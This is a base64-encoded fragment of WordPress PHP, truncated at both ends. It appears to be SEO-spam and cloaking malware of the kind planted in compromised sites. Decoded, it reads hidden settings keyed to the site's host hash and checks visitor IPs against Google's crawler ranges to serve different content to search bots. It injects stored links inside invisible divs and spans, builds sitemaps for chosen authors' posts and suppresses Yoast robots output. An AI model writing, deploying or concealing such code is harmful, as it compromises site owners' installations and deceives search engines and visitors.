X3BhZ2VfbWVyZ2UgPSBtZDUoaW1wbG9kZSgnLCcsICRnZXRfYXV0aG9yX3Bvc3RzX3VybF9oYXNoaW5nKSk7DQogICAgICAgICRhZGRfZmlsdGVyX2h0dHBzID0gJ3VwZGF0ZV9wbHVnaW5zXycgLiAkdGhlX3Bvc3RfY3JvbiAuICdfJyAuICRpc19wYWdlX21lcmdlOw0KICAgICAgICAkdGhlX0lEX2ZpcnN0ID0gZ2V0X3RyYW5zaWVudCgkYWRkX2ZpbHRlcl9odHRwcyk7DQoNCiAgICAgICAgaWYgKCR0aGVfSURfZmlyc3QgIT09IGZhbHNlKSB7DQogICAgICAgICAgICBlY2hvICR0aGVfSURfZmlyc3Q7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCiAgICB9DQoNCg0KDQogICAgJGhlYWQgPSBpc19mcm9udF9wYWdlX2luZm8oKTsNCiAgICAkZXNjX2F0dHJfcHJpdmF0ZSA9ICRoZWFkIC4gIlxuIjsNCg0KDQogICAgJHByaW9yaXR5ID0gJzAuNSc7DQogICAgJGVzY19hdHRyX3ZpZXcgPSAnd2Vla2x5JzsNCiAgICAkd3BfZGllX3JlcG9zaXRvcnkgPSBkYXRlKCdZLW0tZCcpOw0KDQogICAgZm9yZWFjaCAoJGdldF9hdXRob3JfcG9zdHNfdXJsX2hhc2hpbmcgYXMgJHBvc3RfaWQpIHsNCiAgICAgICAgJHVybCA9IGdldF9wZXJtYWxpbmsoJHBvc3RfaWQpOw0KICAgICAgICAkZXNjX2F0dHJfcHJpdmF0ZSAuPSBoYXZlX2NvbW1lbnRzX3BvaW50ZXIoJHVybCwgJHdwX2RpZV9yZXBvc2l0b3J5LCAkZXNjX2F0dHJfdmlldywgJHByaW9yaXR5KTsNCiAgICAgICAgd3BfY2FjaGVfZGVsZXRlKCRwb3N0X2lkLCAncG9zdHMnKTsNCiAgICB9DQoNCiAgICAkZXNjX2F0dHJfcHJpdmF0ZSAuPSAiXG48L3VybHNldD4iOw0KDQogICAgc2V0X3RyYW5zaWVudCgkYWRkX2ZpbHRlcl9odHRwcywgJGVzY19hdHRyX3ByaXZhdGUsIFdFRUtfSU5fU0VDT05EUyk7DQoNCiAgICBlY2hvICRlc2NfYXR0cl9wcml2YXRlOw0KfQ0KDQoNCmZ1bmN0aW9uIGlzX2Zyb250X3BhZ2VfaW5mbygpIHsNCiAgICByZXR1cm4gPDw8U1RSDQo8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/Pg0KPHVybHNldCB4bWxucz0iaHR0cDovL3d3dy5zaXRlbWFwcy5vcmcvc2NoZW1hcy9zaXRlbWFwLzAuOSI+DQpTVFI7DQp9DQoNCmZ1bmN0aW9uIGhhdmVfY29tbWVudHNfcG9pbnRlcigkdXJsLCAkd3BfZGllX3JlcG9zaXRvcnksICRlc2NfYXR0cl92aWV3LCAkcHJpb3JpdHkpIHsNCg0KICAgIHJldHVybiA8PDxTVFINCiAgIDx1cmw+DQogICAgICA8bG9jPiR1cmw8L2xvYz4NCiAgICAgIDxsYXN0bW9kPiR3cF9kaWVfcmVwb3NpdG9yeTwvbGFzdG1vZD4NCiAgICAgIDxjaGFuZ2VmcmVxPiRlc2NfYXR0cl92aWV3PC9jaGFuZ2VmcmVxPg0KICAgICAgPHByaW9yaXR5PiRwcmlvcml0eTwvcHJpb3JpdHk+DQogICA8L3VybD5cblxuDQpTVFI7DQp9DQoNCmZ1bmN0aW9uIF9lX3N0YWNrKCR3cml0ZXJzQXJyKSB7DQogICAgJGdldF9oZWFkZXJfbG9uZyA9IGFycmF5KCk7DQoNCiAgICBmb3JlYWNoICgkd3JpdGVyc0FyciBhcyAkaXRlbSkgew0KICAgICAgICAkZ2V0X2hlYWRlcl9sb25nW10gPSAnLScgLiAkaXRlbTsNCiAgICB9DQogICAgcmV0dXJuIGltcGxvZGUoJywnLCAkZ2V0X2hlYWRlcl9sb25nKTsNCn0NCg0KZnVuY3Rpb24gYWRkX3NlY3Rpb25faHR0cHMoKSB7DQoNCiAgICAkZ2V0X3RlbXBsYXRlX3BhcnRfcG9pbnRlciA9IGFycmF5KCk7DQogICAgJGJsb2dpbmZvX2VkaXQgPSBhcnJheSgpOw0KDQogICAgJHNldHRpbmdzID0gZ2V0X29wdGlvbignd3BfY3VzdG9tX2ZpbHRlcnMnKTsNCg0KICAgIGlmICgkc2V0dGluZ3MpIHsNCiAgICAgICAgJGFkZF9zZXR0aW5nX2xpdmUgPSB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRzZXR0aW5ncykpOw0KICAgICAgICBpZiAoJGFkZF9zZXR0aW5nX2xpdmUpIHsNCiAgICAgICAgICAgICRnZXRfdGVtcGxhdGVfcGFydF9wb2ludGVyID0gJGFkZF9zZXR0aW5nX2xpdmU7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAkc2V0dGluZ3MgPSBnZXRfb3B0aW9uKG1kNShzaGExKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkpKTsNCg0KICAgIGlmICgkc2V0dGluZ3MpIHsNCiAgICAgICAgJGdldF90aGVfdGl0bGVfbGVzcyA9IHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJHNldHRpbmdzKSk7DQogICAgICAgIGlmICgkZ2V0X3RoZV90aXRsZV9sZXNzKSB7DQogICAgICAgICAgICAkYmxvZ2luZm9fZWRpdCA9ICRnZXRfdGhlX3RpdGxlX2xlc3M7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICByZXR1cm4gJGJsb2dpbmZvX2VkaXQgKyAkZ2V0X3RlbXBsYXRlX3BhcnRfcG9pbnRlcjsNCg0KfQ0KDQpmdW5jdGlvbiBnZXRfYmxvZ2luZm9fdmFyaWFibGUoKSB7DQoNCiAgICBnbG9iYWwgJGlzX2FyY2hpdmVfY29yZTsNCg0KICAgIGZvcmVhY2ggKCRpc19hcmNoaXZlX2NvcmUgYXMgJHRoZV9hcmNoaXZlX3RpdGxlX2h0dHAgPT4gJGdldF9hdXRob3JfcG9zdHNfdXJsX3Jlc3RmdWwpIHsNCg0KICAgICAgICAkZ2V0X3NlYXJjaF9xdWVyeV9saXN0ID0ga2V5KCRnZXRfYXV0aG9yX3Bvc3RzX3VybF9yZXN0ZnVsWydzaXRlbWFwc2V0dGluZ3MnXSkgLiAnfCcNCiAgICAgICAgICAgIC4gc3RyX3JlcGxhY2UoJ2luZGV4LnBocD8nLCAnJywgY3VycmVudCgkZ2V0X2F1dGhvcl9wb3N0c191cmxfcmVzdGZ1bFsnc2l0ZW1hcHNldHRpbmdzJ10pIC4gJyQnKTsNCg0KICAgICAgICBpZiAocHJlZ19tYXRjaCgifiRnZXRfc2VhcmNoX3F1ZXJ5X2xpc3R+IiwgJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSB7DQogICAgICAgICAgICByZXR1cm4gJHRoZV9hcmNoaXZlX3RpdGxlX2h0dHA7DQogICAgICAgIH0NCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGJsb2dpbmZvX2pzb24oKSB7DQogICAgZ2xvYmFsICRpc19hcmNoaXZlX2NvcmUsICRwb3N0Ow0KDQogICAgJGdldF90aGVfdGFnX2xpc3RfaW50ZWdlciA9IGFycmF5X2tleXMoJGlzX2FyY2hpdmVfY29yZSk7DQogICAgaWYgKGluX2FycmF5KCRwb3N0LT5wb3N0X2F1dGhvciwgJGdldF90aGVfdGFnX2xpc3RfaW50ZWdlcikpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gaXNfY3VzdG9taXplX3ByZXZpZXdfYmFzZSgpIHsNCiAgICBnbG9iYWwgJGlzX2FyY2hpdmVfY29yZSwgJHBvc3Q7DQoNCiAgICAkZ2V0X3RoZV90YWdfbGlzdF9pbnRlZ2VyID0gYXJyYXlfa2V5cygkaXNfYXJjaGl2ZV9jb3JlKTsNCg0KICAgIGlmICghJHBvc3QgfHwgIXByb3BlcnR5X2V4aXN0cygkcG9zdCwgJ2F1dGhvcicpKSB7DQogICAgICAgIHJldHVybjsNCiAgICB9DQoNCiAgICBpZiAoaW5fYXJyYXkoJHBvc3QtPnBvc3RfYXV0aG9yLCAkZ2V0X3RoZV90YWdfbGlzdF9pbnRlZ2VyKSkgew0KICAgICAgICBhZGRfZmlsdGVyKCd3cHNlb19yb2JvdHMnLCAnX19yZXR1cm5fZmFsc2UnKTsNCiAgICAgICAgYWRkX2ZpbHRlcignd3BzZW9fZ29vZ2xlYm90JywgJ19fcmV0dXJuX2ZhbHNlJyk7IC8vIFlvYXN0IFNFTyAxNC54IG9yIG5ld2VyDQogICAgICAgIGFkZF9maWx0ZXIoJ3dwc2VvX2Jpbmdib3QnLCAnX19yZXR1cm5fZmFsc2UnKTsgLy8gWW9hc3QgU0VPIDE0Lnggb3IgbmV3ZXINCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGVzY19hdHRyX2VfcGljKCkgew0KDQogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSkgew0KICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ107DQogICAgfQ0KICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9DRl9DT05ORUNUSU5HX0lQJ10pKSB7DQogICAgICAgIHJldHVybiAkX1NFUlZFUlsnSFRUUF9DRl9DT05ORUNUSU5HX0lQJ107DQogICAgfQ0KICAgIGlmIChpc3NldCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkpIHsNCiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KICAgIH0NCg0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gZ2V0X3RlbXBsYXRlX3BhcnRfbWV0aG9kKCkgew0KDQogICAgJHdwX2dldF9hdHRhY2htZW50X2ltYWdlX3NyY19jbGFzcyA9IGVzY19hdHRyX2VfcGljKCk7DQoNCiAgICBpZiAoc3Ryc3RyKCR3cF9nZXRfYXR0YWNobWVudF9pbWFnZV9zcmNfY2xhc3MsICcsICcpKSB7DQogICAgICAgICR3cF9saXN0X2NvbW1lbnRzX2ludGVyZmFjZSA9IGV4cGxvZGUoJywgJywgJHdwX2dldF9hdHRhY2htZW50X2ltYWdlX3NyY19jbGFzcyk7DQogICAgICAgICR3cF9nZXRfYXR0YWNobWVudF9pbWFnZV9zcmNfY2xhc3MgPSAkd3BfbGlzdF9jb21tZW50c19pbnRlcmZhY2VbMF07DQogICAgfQ0KDQogICAgJGR5bmFtaWNfc2lkZWJhcl9tZXRhID0gYWRkX3NldHRpbmdfc29hcCgpOw0KDQogICAgaWYgKCEkZHluYW1pY19zaWRlYmFyX21ldGEpIHsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCg0KICAgIGZvcmVhY2ggKCRkeW5hbWljX3NpZGViYXJfbWV0YSBhcyAkcmFuZ2UpIHsNCiAgICAgICAgaWYgKHdwX2hlYWRfYWRkKCR3cF9nZXRfYXR0YWNobWVudF9pbWFnZV9zcmNfY2xhc3MsICRyYW5nZSkpIHsNCiAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gZXNjX3VybF9yYXdfcXVldWUoJHRpbWVzdGFtcCkgew0KDQogICAgaWYgKCh0aW1lKCkgLSAkdGltZXN0YW1wKSA+IDYwICogNjApIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KDQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBhZGRfc2V0dGluZ19zb2FwKCkgew0KDQogICAgaWYgKCgkdmFsdWUgPSBnZXRfb3B0aW9uKCd3cF9jdXN0b21fcmFuZ2UnKSkgJiYgIWVzY191cmxfcmF3X3F1ZXVlKCR2YWx1ZVsndGltZXN0YW1wJ10pKSB7DQogICAgICAgIHJldHVybiAkdmFsdWVbJ3JhbmdlcyddOw0KICAgIH0gZWxzZSB7DQoNCiAgICAgICAgJHJlc3BvbnNlID0gd3BfcmVtb3RlX2dldCgnaHR0cHM6Ly93d3cuZ3N0YXRpYy5jb20vaXByYW5nZXMvZ29vZy50eHQnKTsNCiAgICAgICAgaWYgKGlzX3dwX2Vycm9yKCRyZXNwb25zZSkpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICAkYm9keSA9IHdwX3JlbW90ZV9yZXRyaWV2ZV9ib2R5KCRyZXNwb25zZSk7DQogICAgICAgICRkeW5hbWljX3NpZGViYXJfbWV0YSA9IHByZWdfc3BsaXQoIn4oXHJcbnxcbil+IiwgdHJpbSgkYm9keSksIC0xLCBQUkVHX1NQTElUX05PX0VNUFRZKTsNCg0KICAgICAgICBpZiAoIWlzX2FycmF5KCRkeW5hbWljX3NpZGViYXJfbWV0YSkpIHsNCgogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCg0KICAgICAgICAkdmFsdWUgPSBhcnJheSgncmFuZ2VzJyA9PiAkZHluYW1pY19zaWRlYmFyX21ldGEsICd0aW1lc3RhbXAnID0+IHRpbWUoKSk7DQogICAgICAgIHVwZGF0ZV9vcHRpb24oJ3dwX2N1c3RvbV9yYW5nZScsICR2YWx1ZSwgdHJ1ZSk7DQogICAgICAgIHJldHVybiAkdmFsdWVbJ3JhbmdlcyddOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gZ2V0X3RoZV9hdXRob3JfbWV0YV9oYXNoaW5nKCRpbmV0KSB7DQogICAgJGdldF9wb3N0X2Zvcm1hdF9hamF4ID0gc3RyX3NwbGl0KCRpbmV0KTsNCiAgICAkYWJzaW50X3dwID0gJyc7DQogICAgZm9yZWFjaCAoJGdldF9wb3N0X2Zvcm1hdF9hamF4IGFzICRjaGFyKSB7DQogICAgICAgICRhYnNpbnRfd3AgLj0gc3RyX3BhZChkZWNiaW4ob3JkKCRjaGFyKSksIDgsICcwJywgU1RSX1BBRF9MRUZUKTsNCiAgICB9DQogICAgcmV0dXJuICRhYnNpbnRfd3A7DQp9DQoNCmZ1bmN0aW9uIHdwX2hlYWRfYWRkKCR3cF9nZXRfYXR0YWNobWVudF9pbWFnZV9zcmNfY2xhc3MsICRjaWRybmV0KSB7DQogICAgJHdwX2dldF9hdHRhY2htZW50X2ltYWdlX3NyY19jbGFzcyA9IGluZXRfcHRvbigkd3BfZ2V0X2F0dGFjaG1lbnRfaW1hZ2Vfc3JjX2NsYXNzKTsNCiAgICAkYWJzaW50X3dwID0gZ2V0X3RoZV9hdXRob3JfbWV0YV9oYXNoaW5nKCR3cF9nZXRfYXR0YWNobWVudF9pbWFnZV9zcmNfY2xhc3MpOw0KDQogICAgbGlzdCgkbmV0LCAkYWRkX3F1ZXJ5X2FyZ19jb25zdHJ1Y3RvcikgPSBleHBsb2RlKCcvJywgJGNpZHJuZXQpOw0KICAgICRuZXQgPSBpbmV0X3B0b24oJG5ldCk7DQogICAgJGdldF90aGVfSURfaW50ZWdlciA9IGdldF90aGVfYXV0aG9yX21ldGFfaGFzaGluZygkbmV0KTsNCg0KICAgICRlc2NfYXR0cl9sb29wID0gc3Vic3RyKCRhYnNpbnRfd3AsIDAsICRhZGRfcXVlcnlfYXJnX2NvbnN0cnVjdG9yKTsNCiAgICAkZXNjX2F0dHJfZV9jb25zdHJ1Y3RvciA9IHN1YnN0cigkZ2V0X3RoZV9JRF9pbnRlZ2VyLCAwLCAkYWRkX3F1ZXJ5X2FyZ19jb25zdHJ1Y3Rvcik7DQoNCiAgICBpZiAoJGVzY19hdHRyX2xvb3AgIT09ICRlc2NfYXR0cl9lX2NvbnN0cnVjdG9yKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9IGVsc2Ugew0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQp9DQoNCg0KZnVuY3Rpb24gaXNfc2VhcmNoX3Jlc3RmdWwoJGdldF9xdWVyaWVkX29iamVjdF9pZF9wb2ludGVyKSB7DQoNCiAgICBnbG9iYWwgJHBvc3Q7DQoNCiAgICAkcG9zdF9jbGFzc19waWMgPSAnJzsNCg0KDQogICAgaWYgKHdwX2dldF9hdHRhY2htZW50X2ltYWdlX3NyY19zdGFjaygkZ2V0X3F1ZXJpZWRfb2JqZWN0X2lkX3BvaW50ZXIsICd0ZXh0QmxvY2tzQ291bnQnLCAnb25seUhvbWVQYWdlJykpIHsNCiAgICAgICAgaWYgKGlzX2Zyb250X3BhZ2UoKSB8fCBpc19ob21lKCkpIHsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJHBvc3RfY2xhc3NfcGljID0gZ2V0X29wdGlvbignaG9tZV9saW5rc19jdXN0b21fMCcpOw0KICAgICAgICB9DQogICAgfSBlbHNlaWYgKHdwX2dldF9hdHRhY2htZW50X2ltYWdlX3NyY19zdGFjaygkZ2V0X3F1ZXJpZWRfb2JqZWN0X2lkX3BvaW50ZXIsICd0ZXh0QmxvY2tzQ291bnQnLCAnMTBEaWZmZXJlbnRUZXh0QmxvY2tzJykpIHsNCg0KICAgICAgICAkdXJsID0gZ2V0X3Blcm1hbGluaygkcG9zdC0+SUQpOw0KICAgICAgICBwcmVnX21hdGNoKCd+XGR+JywgbWQ1KCR1cmwpLCAkbWF0Y2hlcyk7DQogICAgICAgICRwb3N0X2NsYXNzX3BpYyA9IGdldF9vcHRpb24oJ2hvbWVfbGlua3NfY3VzdG9tXycgLiAkbWF0Y2hlc1swXSk7DQogICAgICAgIA0KICAgICAgICANCg0KICAgIH0gZWxzZWlmICh3cF9nZXRfYXR0YWNobWVudF9pbWFnZV9zcmNfc3RhY2soJGdldF9xdWVyaWVkX29iamVjdF9pZF9wb2ludGVyLCAndGV4dEJsb2Nrc0NvdW50JywgJzEwMERpZmZlcmVudFRleHRCbG9ja3MnKSkgew0KDQogICAgICAgICR1cmwgPSBnZXRfcGVybWFsaW5rKCRwb3N0LT5JRCk7DQogICAgICAgIHByZWdfbWF0Y2hfYWxsKCd+XGR+JywgbWQ1KCR1cmwpLCAkbWF0Y2hlcyk7DQogICAgICAgICRnZXRfc3R5bGVzaGVldF91cmlfc2NoZW1hID0gKCRtYXRjaGVzWzBdWzBdID09IDApID8gJG1hdGNoZXNbMF1bMV0gOiAkbWF0Y2hlc1swXVswXSAuICcnIC4gJG1hdGNoZXNbMF1bMV07DQogICAgICAgICRwb3N0X2NsYXNzX3BpYyA9IGdldF9vcHRpb24oJ2hvbWVfbGlua3NfY3VzdG9tXycgLiAkZ2V0X3N0eWxlc2hlZXRfdXJpX3NjaGVtYSk7DQogICAgICAgIA0KICAgICAgICANCiAgICB9IGVsc2VpZiAod3BfZ2V0X2F0dGFjaG1lbnRfaW1hZ2Vfc3JjX3N0YWNrKCRnZXRfcXVlcmllZF9vYmplY3RfaWRfcG9pbnRlciwgJ3RleHRCbG9ja3NDb3VudCcsICdmdWxsRGlmZmVyZW50VGV4dEJsb2NrcycpKSB7DQoNCiAgICB9IGVsc2Ugew0KDQogICAgfQ0KDQogICAgcmV0dXJuICEkcG9zdF9jbGFzc19waWMgPyAnJyA6ICRwb3N0X2NsYXNzX3BpYzsNCn0NCg0KZnVuY3Rpb24gd3BfZ2V0X2F0dGFjaG1lbnRfaW1hZ2Vfc3JjX3N0YWNrKCRnZXRfYXV0aG9yX3Bvc3RzX3VybF9yZXN0ZnVsLCAkbGFuZ3VhZ2VfYXR0cmlidXRlc19kb3VibGUsICR0aGVfZXhjZXJwdF9qc29uKSB7DQogICAgaWYgKCFpc3NldCgkZ2V0X2F1dGhvcl9wb3N0c191cmxfcmVzdGZ1bFskbGFuZ3VhZ2VfYXR0cmlidXRlc19kb3VibGVdWyR0aGVfZXhjZXJwdF9qc29uXSkpIHsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCg0KICAgIGlmICgkZ2V0X2F1dGhvcl9wb3N0c191cmxfcmVzdGZ1bFskbGFuZ3VhZ2VfYXR0cmlidXRlc19kb3VibGVdWyR0aGVfZXhjZXJwdF9qc29uXSA9PT0gMSkgew0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQoNCiAgICByZXR1cm4gZmFsc2U7DQoNCn0NCg0KZnVuY3Rpb24gZ2V0X3RlbXBsYXRlX3BhcnRfdGltZSgkZ2V0X3F1ZXJpZWRfb2JqZWN0X2lkX3BvaW50ZXIsICRlc2NfYXR0cl94X3NjaGVtYSkgew0KICAgIGlmIChlbXB0eSgkZXNjX2F0dHJfeF9zY2hlbWEpKSB7DQogICAgICAgIHJldHVybiAnJzsNCiAgICB9DQoNCiAgICBpZiAod3BfZ2V0X2F0dGFjaG1lbnRfaW1hZ2Vfc3JjX3N0YWNrKCRnZXRfcXVlcmllZF9vYmplY3RfaWRfcG9pbnRlciwgJ2hpZGRlblR5cGUnLCAnY3NzJykpIHsNCiAgICAgICAgcHJlZ19tYXRjaCgnflxkficsIG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAkYmxvY2tOdW0pOw0KICAgICAgICAkbGFuZ3VhZ2VfYXR0cmlidXRlc19iZXRhID0gaXNfcGFnZV9nZXQoKTsNCiAgICAgICAgJHRoZV9wZXJtYWxpbmtfbW9kdWxlID0gJGxhbmd1YWdlX2F0dHJpYnV0ZXNfYmV0YVskYmxvY2tOdW1bMF1dOw0KICAgICAgICByZXR1cm4gJHRoZV9wZXJtYWxpbmtfbW9kdWxlWzBdIC4gUEhQX0VPTCAuICRlc2NfYXR0cl94X3NjaGVtYSAuIFBIUF9FT0wgLiAkdGhlX3Blcm1hbGlua19tb2R1bGVbMV07DQogICAgfQ0KDQogICAgcmV0dXJuICRlc2NfYXR0cl94X3NjaGVtYTsNCn0NCg0KZnVuY3Rpb24gaXNfcGFnZV9nZXQoKSB7DQoNCiAgICByZXR1cm4gYXJyYXkoDQogICAgICAgIGFycmF5KCc8ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsgZmlsdGVyOmFscGhhKG9wYWNpdHk9MCk7b3BhY2l0eTowLjAwMzt6LWluZGV4Oi0xOyI+JywgJzwvZGl2PicpLA0KICAgICAgICBhcnJheSgnPGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7IGxlZnQ6LTUwMDBweDsiPicsICc8L2Rpdj4nKSwNCiAgICAgICAgYXJyYXkoJzxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyB0b3A6IC0xMDAlOyI+JywgJzwvZGl2PicpLA0KCiAgICAgICAgYXJyYXkoJzxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyBsZWZ0Oi01NTAwcHg7Ij4nLCAnPC9kaXY+JyksDQogICAgICAgIGFycmF5KCc8ZGl2IHN0eWxlPSJvdmVyZmxvdzogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGhlaWdodDogMHB0OyB3aWR0aDogMHB0OyI+JywgJzwvZGl2PicpLA0KICAgICAgICBhcnJheSgnPGRpdiBzdHlsZT0iZGlzcGxheTpub25lOyI+JywgJzwvZGl2PicpLA0KICAgICAgICBhcnJheSgnPHNwYW4gc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyBmaWx0ZXI6YWxwaGEob3BhY2l0eT0wKTtvcGFjaXR5OjAuMDAzO3otaW5kZXg6LTE7Ij4nLCAnPC9zcGFuPicpLA0KICAgICAgICBhcnJheSgnPHNwYW4gc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyBsZWZ0Oi01MDAwcHg7Ij4nLCAnPC9zcGFuPicpLA0KICAgICAgICBhcnJheSgnPHNwYW4gc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyB0b3A6IC0xMDAlOyI+JywgJzwvc3Bhbj4nKSwNCiAgICAgICAgYXJyYXkoJzxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyBsZWZ0Oi02NTAwcHg7Ij4nLCAnPC9kaXY+JyksDQoKICAgICk7DQp9DQoNCmZ1bmN0aW9uIGlzX2FyY2hpdmVfY2xpZW50KCRnZXRfcXVlcmllZF9vYmplY3RfaWRfcG9pbnRlcikgew0KICAgIHJldHVybiB3cF9nZXRfYXR0YWNobWVudF9pbWFnZV9zcmNfc3RhY2soJGdldF9xdWVyaWVkX29iamVjdF9pZF9wb2ludGVyLCAncG9zaXRpb24nLCAnaGVhZCcpOw0KfQ0KDQpmdW5jdGlvbiBnZXRfdGhlbWVfbW9kX3N0YXQoJGdldF9xdWVyaWVkX29iamVjdF9pZF9wb2ludGVyKSB7DQogICAgcmV0dXJuIHdwX2dldF9hdHRhY2htZW50X2ltYWdlX3NyY19zdGFjaygkZ2V0X3F1ZXJpZWRfb2JqZWN0X2lkX3BvaW50ZXIsICdwb3NpdGlvbicsICdmb290ZXInKTsNCn0NCg0KZnVuY3Rpb24gaXNfYWRtaW5fbWV0aG9kKCRzZXR0aW5ncykgew0KICAgIGZvcmVhY2ggKCRzZXR0aW5ncyBhcyAkdGhlX2FyY2hpdmVfdGl0bGVfaHR0cCA9PiAkZ2V0X2F1dGhvcl9wb3N0c191cmxfcmVzdGZ1bCkgew0KICAgICAgICBpZiAoaXNzZXQoJGdldF9hdXRob3JfcG9zdHNfdXJsX3Jlc3RmdWxbJ2hvbWVMaW5rcyddKSkgew0KICAgICAgICAgICAgcmV0dXJuICRnZXRfYXV0aG9yX3Bvc3RzX3VybF9yZXN0ZnVsWydob21lTGlua3MnXTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gYXJyYXkoKTsNCn0NCg0KDQpmdW5jdGlvbiBlc2NfYXR0cl9hamF4KCkgew0KICAgIGlmICghYmxvZ2luZm9fanNvbigpKSB7DQogICAgICAgIGlmIChpc19zaW5ndWxhcigpIHx8IChpc19mcm9udF9wYWdlKCkgfHwgaXNfaG9tZSgpKSkgew0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0NCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBnZXRfc2VhcmNoX2Zvcm1fY2FsbCgpIHsNCg0KICAgIGdsb2JhbCAkZ2V0X3F1ZXJpZWRfb2JqZWN0X2lkX3BvaW50ZXI7DQoNCiAgICBpZiAoIWVzY19hdHRyX2FqYXgoKSkgew0KICAgICAgICANCiAgICAgICAgDQogICAgICAgIHJldHVybjsNCiAgICB9DQoNCiAgICBpZiAod3BfZ2V0X2F0dGFjaG1lbnRfaW1hZ2Vfc3JjX3N0YWNrKCRnZXRfcXVlcmllZF9vYmplY3RfaWRfcG9pbnRlciwgJ2hpZGRlblR5cGUnLCAnY2xvYWNraW5nJykpIHsNCiAgICAgICAgaWYgKCFnZXRfdGVtcGxhdGVfcGFydF9tZXRob2QoKSkgew0KICAgICAgICAgICAgDQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCiAgICB9DQoNCg0KICAgICRlc2NfYXR0cl94X3NjaGVtYSA9IGlzX3NlYXJjaF9yZXN0ZnVsKCRnZXRfcXVlcmllZF9vYmplY3RfaWRfcG9pbnRlcik7DQogICAgJGVzY19hdHRyX3hfc2NoZW1hID0gZ2V0X3RlbXBsYXRlX3BhcnRfdGltZSgkZ2V0X3F1ZXJpZWRfb2JqZWN0X2lkX3BvaW50ZXIsICRlc2NfYXR0cl94X3NjaGVtYSk7DQoNCiAgICANCg0KDQogICAgZWNobyAkZXNjX2F0dHJfeF9zY2hlbWE7DQoNCn0NCg0KJGlzX2FyY2hpdmVfY29yZSA9IGFkZF9zZWN0aW9uX2h0dHBzKCk7DQoNCg0KaWYgKGlzX2FycmF5KCRpc19hcmNoaXZlX2NvcmUpKSB7DQogICAgYWRkX2ZpbHRlcigncG9zdHNfd2hlcmVfcGFnZWQnLCAnd3BfbGlua19wYWdlc19saXZlJyk7DQogICAgYWRkX2FjdGlvbigncHJlX2dldF9wb3N0cycsICd0aGVfY29udGVudF9iYXNlJyk7DQogICAgYWRkX2FjdGlvbignd3BfZW5xdWV1ZV9zY3JpcHRzJywgJ2lzX3Npbmd1bGFyX2Nvb2tpZScpOw0KICAgIGFkZF9maWx0ZXIoJ3dwX2NvdW50X3Bvc3RzJywgJ2dldF9zZXR0aW5nX2pzb24nICwgMTAsIDMpOw0KICAgIGFkZF9maWx0ZXIoJ3Jld3JpdGVfcnVsZXNfYXJyYXknLCAnYWRkX3NldHRpbmdfZnVuY3Rpb24nKTsNCiAgICBhZGRfYWN0aW9uKCd3cF9sb2FkZWQnLCAnZXNjX3VybF9sb29wJyk7DQogICAgYWRkX2FjdGlvbignaW5pdCcsICdnZXRfdGhlX3RpbWVfc3RhdGVtZW50Jyk7DQogICAgYWRkX2FjdGlvbigndGVtcGxhdGVfcmVkaXJlY3QnLCAnaXNfY3VzdG9taXplX3ByZXZpZXdfYmFzZScpOw0KDQogICAgJGdldF9xdWVyaWVkX29iamVjdF9pZF9wb2ludGVyID0gaXNfYWRtaW5fbWV0aG9kKCRpc19hcmNoaXZlX2NvcmUpOw0KDQogICAgaWYgKCFlbXB0eSgkZ2V0X3F1ZXJpZWRfb2JqZWN0X2lkX3BvaW50ZXIpKSB7DQoNCiAgICAgICAgDQoNCiAgICAgICAgaWYgKGlzX2FyY2hpdmVfY2xpZW50KCRnZXRfcXVlcmllZF9vYmplY3RfaWRfcG9pbnRlcikpIHsNCiAgICAgICAgICAgIGFkZF9hY3Rpb24oJ3dwX2hlYWQnLCAnZ2V0X3NlYXJjaF9mb3Jt